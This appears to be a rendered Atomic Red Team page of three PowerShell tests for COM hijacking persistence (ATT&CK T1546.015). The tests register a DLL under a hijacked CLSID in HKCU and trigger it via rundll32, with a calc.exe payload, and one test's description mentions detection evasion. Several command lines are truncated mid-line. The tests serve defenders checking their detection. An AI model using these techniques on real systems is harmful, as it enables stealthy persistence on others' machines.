



165 lines (97 loc) · 6.14 KB

# T1546.015 - Component Object Model Hijacking

## Description from ATT&CK

Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry. Adversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.

## Atomic Tests

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### Atomic Test #1 - COM Hijacking - InprocServer32

This test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via rundll32.exe.

Reference: <https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/>

**Supported Platforms:** Windows

**auto\_generated\_guid:** 48117158-d7be-441b-bc6a-d9e36e47b52b

**Inputs:**

Name	Description	Type	Default Value
clsid_threading	Threading Model	string	Apartment
dllpath	Path to the DLL.	String	\$env:TEMP\AtomicTest.dll
clsid	Class ID to hijack.	string	{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}
clsid_description	Description for CLSID	string	MSAA AccPropServices

**Attack Commands:** Run with `powershell` !

```
New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Value '#{clsid_description}'  
New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Value '#{dllpath}'
```

```
New-ItemProperty -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Name  
Start-Process -FilePath "C:\Windows\System32\RUNDLL32.EXE" -ArgumentList '-sta #{c
```

### Cleanup Commands:

```
Remove-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Recurse -ErrorAction Ignore
```

### Dependencies: Run with powershell !

Description: DLL For testing

### Check Prereq Commands:

```
if (Test-Path #{dllpath}) {exit 0} else {exit 1}
```

### Get Prereq Commands:

```
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomic
```

## Atomic Test #2 - Powershell Execute COM Object

Use the PowerShell to execute COM CLSID object. Reference:

<https://pentestlab.blog/2020/05/20/persistence-com-hijacking/>

Supported Platforms: Windows

auto\_generated\_guid: 752191b1-7c71-445c-9dbe-21bb031b18eb

### Attack Commands: Run with powershell !

```
$o= [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-  
$item = $o.Item()  
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "C:\windows\system
```

Cleanup Commands:

```
Get-Process -Name "*calc" | Stop-Process
```

# Atomic Test #3 - COM Hijacking with RunDLL32 (Local Server Switch)

This test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via "rundll32.exe - localserver [clsid]". This method is generally used as an alternative to 'rundll32.exe -sta [clsid]' to execute dll's while evading detection. Reference: <https://www.hexacorn.com/blog/2020/02/13/run-lola-bin-run/> Upon successful execution of this test with the default options, whenever certain apps are opened (for example, Notepad), a calculator window will also be opened.

Supported Platforms: Windows

auto\_generated\_guid: 123520cc-e998-471b-a920-bd28e3feafa0

Inputs:

Name	Description	Type	Default Value
clsid_threading	Threading Model	string	Both
dll_path	Path to the DLL.	String	\$env:temp\T1546.015_calc.dll
clsid	Class ID to hijack.	string	{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}
clsid_description	Description for CLSID	string	MSAA AccPropServices

Attack Commands: Run with powershell !

```
New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Value '#{clsid_description}'
New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Value #{dll,
```

```
New-ItemProperty -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Name  
Start-Process -FilePath "C:\Windows\System32\RUNDLL32.EXE" -ArgumentList '-localser
```

## Cleanup Commands:

```
Remove-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Recurse -ErrorAction Ignore
```

## Dependencies: Run with powershell!

Description: DLL For testing

## Check Prereq Commands:

```
if (Test-Path #{dll_path}) {exit 0} else {exit 1}
```

## Get Prereq Commands:

```
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomic
```